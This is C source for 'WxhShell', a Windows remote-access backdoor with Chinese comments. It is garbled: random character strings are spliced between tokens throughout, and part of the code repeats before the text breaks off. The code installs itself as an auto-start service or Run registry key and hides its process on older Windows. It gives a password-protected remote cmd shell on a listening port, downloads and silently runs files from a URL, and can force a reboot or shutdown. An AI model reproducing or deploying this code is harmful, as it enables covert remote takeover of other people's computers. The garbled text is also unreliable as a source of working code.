(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;GxKPy NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '=vD!6=0@ ng[ZM); if (!NtQueryInformationProcess) return 0; R`|GBVbv .B9rG~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wrW768WR if(!hProcess) return 0; j"8|U
E t.oP]_mI if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q6v%HF-q4 +3n07d CloseHandle(hProcess); "8Y4;lbN.q ra k@oW] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qS|t7* if(hProcess==NULL) return 0; sIh,@b J$D#)w!$j HMODULE hMod; QR($KW( char procName[255]; /A;!g5Y unsigned long cbNeeded; IGd]! _(s|@UT# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !'^gqaF+ 0X3kVm< CloseHandle(hProcess); %<w)#eV? ']ussFaQ if(strstr(procName,"services")) return 1; // 以服务启动 `PR)7}/< aJ1<X8 return 0; // 注册表启动 n089tt=TE } z@3t>k|K 7Z/KXc[b // 主模块 k%)QrRnB int StartWxhshell(LPSTR lpCmdLine) SXA_P{j&a { ;'r} D!8w/ SOCKET wsl; cmv&!Egd BOOL val=TRUE; C.
Hr int port=0; |Tp>,\:5 struct sockaddr_in door; #;6YADk2_ g2v0! if(wscfg.ws_autoins) Install(); ?_9A`LC*
B6iH[dTy_ port=atoi(lpCmdLine); @m[r0i0J" 195m0'zda if(port<=0) port=wscfg.ws_port; N%\!eHxy 2\M^_x$N WSADATA data; aoh"<I%]>4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uMToVk`Uv J
;=~QYn[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *94<rlh{"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #B3P3\ door.sin_family = AF_INET; x_vaYUl) door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z!P7mH\c} door.sin_port = htons(port); c1?_L( )8:Ltn% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cf#2Wg) closesocket(wsl); !A
)2<<4 return 1; ShdE!q7 } ;{79d8/= tB_GEt2M if(listen(wsl,2) == INVALID_SOCKET) { f\}fUg2 closesocket(wsl); $]eITyC`P return 1; Gvk)H$ni } QQUYWC Wxhshell(wsl); /[iqga= WSACleanup(); Quy&CV{@ OsMU>v }m return 0; l.c*,9
>weY_%a } |#);^z_ +pcpb)VL // 以NT服务方式启动 =1noT)gCR VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j>(O1z7 { )
N*,cTE DWORD status = 0; }]ak6'|[ DWORD specificError = 0xfffffff; W *t+!cU/: [;`B serviceStatus.dwServiceType = SERVICE_WIN32; TzT(aWP" serviceStatus.dwCurrentState = SERVICE_START_PENDING; v"VpE`z1# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }j^asuf~c serviceStatus.dwWin32ExitCode = 0; ?CgqHmf\\( serviceStatus.dwServiceSpecificExitCode = 0; '`#sOH serviceStatus.dwCheckPoint = 0; IvFxI#.ju serviceStatus.dwWaitHint = 0; l&@]
B zmmE2~* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LE!xj 0 if (hServiceStatusHandle==0) return; Tji G!W8 UMN3.-4K# status = GetLastError(); YL_M=h>P if (status!=NO_ERROR) -\OvOkr { fz[o;GTc serviceStatus.dwCurrentState = SERVICE_STOPPED; kQ5mIJ9( serviceStatus.dwCheckPoint = 0; 5\MCk "R! serviceStatus.dwWaitHint = 0; >YwvM=b"V serviceStatus.dwWin32ExitCode = status; ztcV[{[g serviceStatus.dwServiceSpecificExitCode = specificError; n.&z^&$w\) SetServiceStatus(hServiceStatusHandle, &serviceStatus); K}e%E&|> return; &eL02:[ } ?6;9r[ p +ML4.$lc^ serviceStatus.dwCurrentState = SERVICE_RUNNING; }w{6Ua serviceStatus.dwCheckPoint = 0; =]k0*\PS serviceStatus.dwWaitHint = 0; ),ur!v if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uURm6mVt9: } zq1je2DB z ;>xI~ // 处理NT服务事件,比如:启动、停止 {O ]^8#v^ VOID WINAPI NTServiceHandler(DWORD fdwControl) jlvh'y` { '
U]\]Wp switch(fdwControl) x3j)'`=15 { J:<mq5[ case SERVICE_CONTROL_STOP: .E H&GX serviceStatus.dwWin32ExitCode = 0; 3
q1LIM serviceStatus.dwCurrentState = SERVICE_STOPPED; 6'YT3= serviceStatus.dwCheckPoint = 0; cR'l\iv+ serviceStatus.dwWaitHint = 0; e
:(7$jo { w;@NYMK) SetServiceStatus(hServiceStatusHandle, &serviceStatus); cEI
"
} (_h=|VjK(I return; >|{n";n& case SERVICE_CONTROL_PAUSE: U($bR|%D serviceStatus.dwCurrentState = SERVICE_PAUSED; LH7m >/LJr break; F|+Qi BO case SERVICE_CONTROL_CONTINUE: =lB+GS% serviceStatus.dwCurrentState = SERVICE_RUNNING; '3BBTr%aZ break; 7Gwn ,&) case SERVICE_CONTROL_INTERROGATE: HSXv_ break; S$~T8_m^U }; #0HZ"n SetServiceStatus(hServiceStatusHandle, &serviceStatus); S T#9auw } ,X+LJe$ _yH{LUIj // 标准应用程序主函数 =E6ND8l@2 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Sj<1tx7f { M]c"4b; PIk2mX/D_6 // 获取操作系统版本 in-|",O`Z OsIsNt=GetOsVer(); tu5g> qb GetModuleFileName(NULL,ExeFile,MAX_PATH); " pg5w ~e|RVY, // 从命令行安装 }W2FF if(strpbrk(lpCmdLine,"iI")) Install(); ;Gc,-BDFw /g/]Q^ // 下载执行文件 |/^ KFY" if(wscfg.ws_downexe) { +2:\oy}!8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'e&L53n WinExec(wscfg.ws_filenam,SW_HIDE); p.wed%O. } bwrM%BL #)}K,FDd if(!OsIsNt) { 7:[u.cd // 如果时win9x,隐藏进程并且设置为注册表启动 s#Os?Q? HideProc(); s2Z'_rT StartWxhshell(lpCmdLine); #:B14E } )RUx else ` nd/N# if(StartFromService()) 77 g<`}{ // 以服务方式启动 [3K& cX}B StartServiceCtrlDispatcher(DispatchTable); pc/x&VY% else \#50;
8VJ // 普通方式启动 ~F [V StartWxhshell(lpCmdLine); [TX1\*W mafnkQU return 0; Z
"mqH } 6!39t NUO#[7OK+x CvOji1 '6g;UOx^= =========================================== lJHU1
gu qjr:(x / S_eD1iY2- PJfADB7Y Y0z)5),[U: 8SZZ_tS3r " hkpS}*L9o uSsP'qd #include <stdio.h> 5q^5DH_; #include <string.h> /1y\EEc #include <windows.h> 'hGUsi #include <winsock2.h> oV/:T\Qn= #include <winsvc.h> H*.v*ro9_ #include <urlmon.h> K#%@4]jO3 C.|.0^5 #pragma comment (lib, "Ws2_32.lib") q1^bH6*fl #pragma comment (lib, "urlmon.lib") &0*7]Wo* ]D.}
/g #define MAX_USER 100 // 最大客户端连接数 m~I@q
[ #define BUF_SOCK 200 // sock buffer q!10G #define KEY_BUFF 255 // 输入 buffer /wi*OZ7R C1`fJhy #define REBOOT 0 // 重启 &gLXS1O #define SHUTDOWN 1 // 关机 9kzJ5} V3S"LJ #define DEF_PORT 5000 // 监听端口 uQhI) `uwSxt #define REG_LEN 16 // 注册表键长度 =L\&}kzB #define SVC_LEN 80 // NT服务名长度 Kj7
?_o{ +B '<0 // 从dll定义API o[aP+O Md typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -<6b[YA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m@i](1*T| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l5T0x=y9! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n-he|u t5aX9WIW // wxhshell配置信息 pP-L{bT struct WSCFG { (VM.]B< int ws_port; // 监听端口 G_QV'zQ char ws_passstr[REG_LEN]; // 口令 6ys|'<? int ws_autoins; // 安装标记, 1=yes 0=no 6vfut$)[{ char ws_regname[REG_LEN]; // 注册表键名 {1"kZL char ws_svcname[REG_LEN]; // 服务名 u0Bz]Ux/Q char ws_svcdisp[SVC_LEN]; // 服务显示名 pzT,fmfk char ws_svcdesc[SVC_LEN]; // 服务描述信息
s?JOGu char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L9]y~[R: int ws_downexe; // 下载执行标记, 1=yes 0=no -5b#w"^w^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'u#c_m!9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5oe{i/#di F2>W{-H+ }; .~a.mT < ZG!w^ // default Wxhshell configuration \ nUJ)w struct WSCFG wscfg={DEF_PORT, >:bXw#w] "xuhuanlingzhe", TV Zf@U 1, +<T361eyY "Wxhshell", <CcSChCg "Wxhshell", hRQw] "WxhShell Service", $ghlrV;:ct "Wrsky Windows CmdShell Service", b:PzqMh{G "Please Input Your Password: ", Bun^EJ) 1, e>UU/Ks "http://www.wrsky.com/wxhshell.exe", ~}_S]^br "Wxhshell.exe" Sa-" G` }; F AQx8P k?}y@$[) // 消息定义模块 l(pP*2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6`@6k2] char *msg_ws_prompt="\n\r? for help\n\r#>"; 5FVmk5z]d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q:1n=iEi char *msg_ws_ext="\n\rExit."; pK"iTc#\X char *msg_ws_end="\n\rQuit."; @x^/X8c(p char *msg_ws_boot="\n\rReboot..."; ro+8d char *msg_ws_poff="\n\rShutdown..."; uO( (Mg char *msg_ws_down="\n\rSave to "; O!'gylj/ {Ia1Wd 8n char *msg_ws_err="\n\rErr!"; G b4p"3 char *msg_ws_ok="\n\rOK!"; J'%W_?wZ z:8ieJ)C char ExeFile[MAX_PATH]; x21XzGLY|} int nUser = 0; GMY[Gd HANDLE handles[MAX_USER]; <Zo{D |hW int OsIsNt; n0FzDQt26 ><C9PS@ SERVICE_STATUS serviceStatus; ;>%wf3e SERVICE_STATUS_HANDLE hServiceStatusHandle; gSHN,8.
` ,:{+-v( // 函数声明 mLV0J ' int Install(void); (~NR."s; int Uninstall(void); Qoa&]] int DownloadFile(char *sURL, SOCKET wsh); uvRX{q4 int Boot(int flag); Eb8~i_B- void HideProc(void); 1 XpqnyL& int GetOsVer(void); 3U!
l8N2 int Wxhshell(SOCKET wsl); y\n#`*5k void TalkWithClient(void *cs); "[sr0'g: int CmdShell(SOCKET sock); vs{VRc int StartFromService(void); dtBr#Te int StartWxhshell(LPSTR lpCmdLine); fRwr}n' XaaR>HljJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rw<O%i5/d VOID WINAPI NTServiceHandler( DWORD fdwControl ); .7+"KP: '(zP; // 数据结构和表定义 09=w SERVICE_TABLE_ENTRY DispatchTable[] = _U
o3_us { w^ X@PpP {wscfg.ws_svcname, NTServiceMain}, /vPr^Wv {NULL, NULL} ^SbxClUfw! }; s)+] pxV0- e35 ")z~ // 自我安装 %NcBq3 int Install(void) braI MIQ` { FzF#V=9lP char svExeFile[MAX_PATH]; dpT?*qLM HKEY key; L lD=c strcpy(svExeFile,ExeFile); w3;T]R* |+Xh ^E // 如果是win9x系统,修改注册表设为自启动 hbSKlb0d if(!OsIsNt) { Of-8n- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EgRuB@lw76 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rsx?8Y^5 RegCloseKey(key); ~lbm^S}- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R ^"*ut RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @o&UF-=MW( RegCloseKey(key); Ev T"+;9/p return 0; ($!g= 7 } ;)vs=DK:) } 4O4}C#6(4 } )"g @"LJ= else { ?z3|^oU~d U^Iq]L // 如果是NT以上系统,安装为系统服务 Y2|c;1~5$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sfp.> bMj if (schSCManager!=0) 9Qq%Fw_ { Icx)+Mq SC_HANDLE schService = CreateService aNgJm~K0P ( L?(m5u~b schSCManager, q8&^E.K wscfg.ws_svcname, E?jb? wscfg.ws_svcdisp, M(:_(4~ SERVICE_ALL_ACCESS, AgWG4C= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t'DIKug& SERVICE_AUTO_START, }:\e"Bfv SERVICE_ERROR_NORMAL, F<O<=Ww svExeFile, =%{E^z>1 NULL, SJlL!<i$ NULL, =kw6<!R NULL, ;I>77gi`] NULL, d 1 O+qS NULL :eBp`dmn ); \wp8kSzC if (schService!=0) } 7i}dyQv} { k~]\kv= CloseServiceHandle(schService); w69G6G( CloseServiceHandle(schSCManager); sh%%U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "R[6Q ^vw strcat(svExeFile,wscfg.ws_svcname); -];Hb'M.!e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h:
zi8;( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E6xWo)`%5s RegCloseKey(key); hOe$h,E'] return 0; q X]ej2 } _<jccQ } Mvk#$:8e CloseServiceHandle(schSCManager); %p};Di[V } T_qh_L3 } u73/#!(1=H V6b) return 1; J!:v`gb#@A } 2vW@d[<J wQU-r| // 自我卸载 r]%.,i7~8 int Uninstall(void) 30h1)nQ$h} { R[2h!.O8 HKEY key; `4"&_ltD 9-?kamA if(!OsIsNt) { y9Q"3LLic` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rp.FG RegDeleteValue(key,wscfg.ws_regname); :LB< z#M RegCloseKey(key); @_?8I_\: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cKAZWON8;v RegDeleteValue(key,wscfg.ws_regname); j*jq2u RegCloseKey(key); u_S>`I return 0; "HbrYYRb'
} s`,. & } p+R8Mo;I } <$`udP@ else { pl.=u0 * <~Tfi*^+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7@i2Mz/eV if (schSCManager!=0) [oS.B\Vc { }u~r.= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y{\(|j if (schService!=0) }{e7wqS$&, { G$
Ii if(DeleteService(schService)!=0) {
\4&FW|mx CloseServiceHandle(schService); Gp))1b'; CloseServiceHandle(schSCManager); ,lw<dB@7"5 return 0; XJf1LGT5 } }UHoa CloseServiceHandle(schService); B9h> } S?m4 CloseServiceHandle(schSCManager); .:jfNp~jt } [u`9R<>c"U } FZtILlw w5}2$r return 1; _:9-x;0H2 } "zN]gz=OV> )IZ~!N|-w // 从指定url下载文件 vM2\tL@" int DownloadFile(char *sURL, SOCKET wsh) J Y@x.?N5$ { s)|l-I HRESULT hr; O:G-I$F| char seps[]= "/"; -\=kd {*B char *token; L}%4YB char *file; Ci^tP~)&" char myURL[MAX_PATH]; $kk!NAW char myFILE[MAX_PATH]; W>]=0u4 `'<&<P strcpy(myURL,sURL); (6\
H~ token=strtok(myURL,seps); |/AY!Y3 while(token!=NULL) }[I|oV5*+& { ^<O:`c6_ file=token; cc$+"7/J^c token=strtok(NULL,seps); REwZ41
} )*3sE1 VR_ bX| GetCurrentDirectory(MAX_PATH,myFILE); jR&AQ-H& strcat(myFILE, "\\"); gL;tyf1P strcat(myFILE, file); r` (U3EgP send(wsh,myFILE,strlen(myFILE),0); 18U
CZ;)> send(wsh,"...",3,0); O}_Z"y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >|So`C3:e if(hr==S_OK) kzLtI w&. return 0; %z:;t else [Lo}_v& return 1; rhe;j/ /` t Sf` } hgi9%>oUB c/E6}OWA // 系统电源模块 VR9C< tMSi int Boot(int flag) ua
vv { &4O0}ax*Zm HANDLE hToken; qjp<_aw TOKEN_PRIVILEGES tkp;
: V#W
y x?| if(OsIsNt) { p#dpDjh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,M&[c| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tJ9i{TS tkp.PrivilegeCount = 1; r-a/vx# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; slKL(-D{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [bvI T]Z if(flag==REBOOT) { =j1rw if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -3T6ck return 0; sx0:g?F3j } YEx76 else { =1"8ua if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O{9h'JU return 0; V OViOD } U8(Rye$ } [UHDN:y else { PDcZno? if(flag==REBOOT) { 6 4da~SEn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y@Kp'+t(! return 0; m,U`hPJ } @"#W\m8 else { 6"W~%FSJX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 43Yav+G(+ return 0; 'L2M
W } }$ Am;%?p } 6Hn3 !%?X% @9 return 1; WeTs va+ } -)tu$W* r='"X#CmV/ // win9x进程隐藏模块 dviL5Eaj void HideProc(void) mu/O\'5 { ,]'?Gd ZAPT5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hs+VA$$* if ( hKernel != NULL ) "oYyeT
,? { [a*m9F\ , pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M"]~}* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mq?5|` FreeLibrary(hKernel); TK;*:K8oe } {qCmZn5 WKQVT I&A. return; 8eSIY17 } *Ki ],>_~ u9FXZK7 // 获取操作系统版本 qF(F<$B int GetOsVer(void) )BY\c7SG { J..>ApX OSVERSIONINFO winfo; 1TKOvy_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RTNUHz;{L GetVersionEx(&winfo); ]cnLJ^2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XnQo0
R.PW return 1; 0f
1Lu)
2 else g@.RfX= return 0; #"a?3!wr } H85HL-{ H\2+cAFN# // 客户端句柄模块 % zs 1v] int Wxhshell(SOCKET wsl) Dm6}$v'0 { EW{z?/ SOCKET wsh; +xwz.::: struct sockaddr_in client; p
IXBJk DWORD myID; 5yO6szg j3rBEQ,R while(nUser<MAX_USER) o)7gKWjujP { -tSWYp{ int nSize=sizeof(client); (KHTgZ6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9/MUzt if(wsh==INVALID_SOCKET) return 1; `av8|; 8ltHR]v handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AyKaazm]9 if(handles[nUser]==0) #{GUu',?& closesocket(wsh); n< [np;\ else %,GY&hTw nUser++; SU9#Y|I } Pn5@7~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lC+p2OG^[ tgDmHxB]0 return 0; 9/RbfV[) } SM5i3EcFYP UcDJ%vI // 关闭 socket [K[tL|EK void CloseIt(SOCKET wsh) _`L,}=um' { ?^us(o7- closesocket(wsh); bv>;%TF nUser--; Ix%h/=I ExitThread(0); LKG],1n- } FK{YRt 3KfZI&g // 客户端请求句柄 -,et. * void TalkWithClient(void *cs) (j+C&*u { 7ju7QyR Gu<3*@Ng SOCKET wsh=(SOCKET)cs; I~MBR2$9 char pwd[SVC_LEN]; yE-&TW_q:> char cmd[KEY_BUFF]; @dcT8 YC char chr[1]; 9tXLC|yl? int i,j; (^Xp\dyZL pK4I?=A' while (nUser < MAX_USER) { |,5b[Y"Dt 4-=> >#
P if(wscfg.ws_passstr) { \w^iSK- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t-lWvxXe //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %WCA?W0:4 //ZeroMemory(pwd,KEY_BUFF); Vf*!m~]Vqi i=0; y%=\E while(i<SVC_LEN) { +M
(\R?@gr Fm{Ri=X<: // 设置超时 52tIe|KwL fd_set FdRead; R3Eh47 struct timeval TimeOut; =V_}z3b FD_ZERO(&FdRead); ?};}#%971 FD_SET(wsh,&FdRead); }+QgRGQ TimeOut.tv_sec=8; /]T#@>(' TimeOut.tv_usec=0; 31wact^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =+97VO(w]G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NDU,9A.P 'rRo2oTN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rOB-2@- pwd=chr[0]; xzy7I6X if(chr[0]==0xd || chr[0]==0xa) { YU[93@mCh pwd=0; 8[ 1D4d break; a|32Pn } `Qv7aY i++; O qY8\>f- } B>t$Z5Q^X O:RPH{D // 如果是非法用户,关闭 socket G[r_|-^S if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8=T;R&U^M } pQ*9)C WhSQ>h!@s send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0X`Qt[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9<WMM) f/?#
1 while(1) { 4
Yc9Ij vd SV6p.d ZeroMemory(cmd,KEY_BUFF); .jZmQtc >;nE.] // 自动支持客户端 telnet标准 [U]*OQH`e j=0; uezqC=v$h while(j<KEY_BUFF) { 4t|g G`QW7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vur$t^zE cmd[j]=chr[0]; ,`G8U/ if(chr[0]==0xa || chr[0]==0xd) { VCcLS3 cmd[j]=0; $91c9z;f^ break; D.j'n-yw } ~o= Sxaf j++; lOPCM1Se } z6B/H2 '[~NRKQJ // 下载文件 utQE$0F if(strstr(cmd,"http://")) { nE+sbfC send(wsh,msg_ws_down,strlen(msg_ws_down),0); *pk*ijdB if(DownloadFile(cmd,wsh)) Q{UR3U'Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zb8Ty~.\P else F5wCl2I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _$NFeqLww } 9loWh5_1Z else { *O#%hTYq a:Y6yg%1> switch(cmd[0]) { \kvd;T#t6 rm;'/l8Y-E // 帮助 VThcG(
NF case '?': { uo_Y"QiKEH send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xpx=t71Hq break; Tw)nFr8oF] } `Ff3H$_* // 安装 KIC5U50J case 'i': { ixw3Z D(>+ if(Install()) &xgMqv2/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); s-}|_g.Pt else JWr:/? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bA@!0,m break; tU>wRw=d } n&D<l '4 // 卸载 Z%y>q|: case 'r': { 2^bq4c4J if(Uninstall()) _Buwz_[& send(wsh,msg_ws_err,strlen(msg_ws_err),0); \acJ9N else U,LW(wueT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ';hU&D;s break; lt|\$Iy( } |o6
h:g
// 显示 wxhshell 所在路径 XpdDIKMmE case 'p': { 68Vn]mr# char svExeFile[MAX_PATH]; }7RR",w strcpy(svExeFile,"\n\r"); =\B{)z7@6D strcat(svExeFile,ExeFile); 9
#TzW9 send(wsh,svExeFile,strlen(svExeFile),0); bvuoGG* break; `ky<
* } %2f``48# // 重启 R5g-b2Lm case 'b': { y{,HpPp#o send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jA$g0> if(Boot(REBOOT)) KiT>W~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,aeQXI#@ else { 8;ke,x closesocket(wsh); 5DK>4H: ExitThread(0); K}tl,MMU } /1F%w8Iqh break; %I9{)'+@x } %%`Nq&' // 关机 #:s*)(Qn case 'd': { [4"1TyW send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); swYlp if(Boot(SHUTDOWN)) kQ7$,K# send(wsh,msg_ws_err,strlen(msg_ws_err),0); WjW+EF8( else { 0;2i"mzS\ closesocket(wsh); :'91qA%Wr ExitThread(0); D*6v.`]X } +D[|L1{xb break; '$YB
- } +>/ariRr // 获取shell KtchKpv case 's': { =dx!R ,Bw CmdShell(wsh); _Db=I3.HJ closesocket(wsh); vH%AXzIA ExitThread(0); <vJPKQ`=: break; K*&M:u6E } seC]=UJh#> // 退出 eqU2>bIf case 'x': { 0vuL(W8) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RbzSQr>a\ CloseIt(wsh); /:3:Ky3 break; 0?KXQD } f]`#BE)V // 离开 n0F.Um case 'q': { ^q5~;_z| send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3('=+d[}Vw closesocket(wsh); nDuf<mw WSACleanup(); lPx4=O exit(1); ?YWfoH4mS break; 7zXFQ|TP } bO 2>ced } GmP)"@O](; } :i_818h!?[ 4e~^G // 提示信息 u\wdb^8ds if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T]Z|Wq`bot } s:3 altv } dE19_KPm[j "[2CV!_ return; l*>t@:2J } $3<,"&;Ecs 6w(Mb~[n // shell模块句柄 +KgoL a int CmdShell(SOCKET sock) ~XN--4%Q { =}>wxO STARTUPINFO si; x=T`i-M ZeroMemory(&si,sizeof(si)); ma9q?H#X si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?j;e/r. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (MhC83|? PROCESS_INFORMATION ProcessInfo; &IsQgS7R char cmdline[]="cmd"; =M'M/vKD CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PLU8:H@X return 0; +^ a9i5 } bP\0S@1YL
A]ZCQ49 // 自身启动模式 QA>(}u\+ int StartFromService(void) qzS 9ls>> { VN[C%C typedef struct 59mNb:< { K~ ,|~ DWORD ExitStatus; )]WWx-Uf' DWORD PebBaseAddress; 5I/wP qR[ DWORD AffinityMask; x2x)y08 DWORD BasePriority; 1{l18B` ULONG UniqueProcessId; Ri4t/H ULONG InheritedFromUniqueProcessId; 2 w\$}' } PROCESS_BASIC_INFORMATION; Wt5x*p-!C 0zm)MSg PROCNTQSIP NtQueryInformationProcess;
R)i nX4R static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S$J}>a#Ry static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $*
1?"$LN [p[nK=&r HANDLE hProcess; j(^ot001%v PROCESS_BASIC_INFORMATION pbi; (Cjnf
a 2 ^7MhnA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &7Frg`B&: if(NULL == hInst ) return 0; AzAD76iNv \$:KfN>WY g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D`p&`]k3v g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?~~sOf AP NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !<r+h,C hoY.2 B _ if (!NtQueryInformationProcess) return 0; GslUN% UJr HDQhXw!!hc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T'\B17
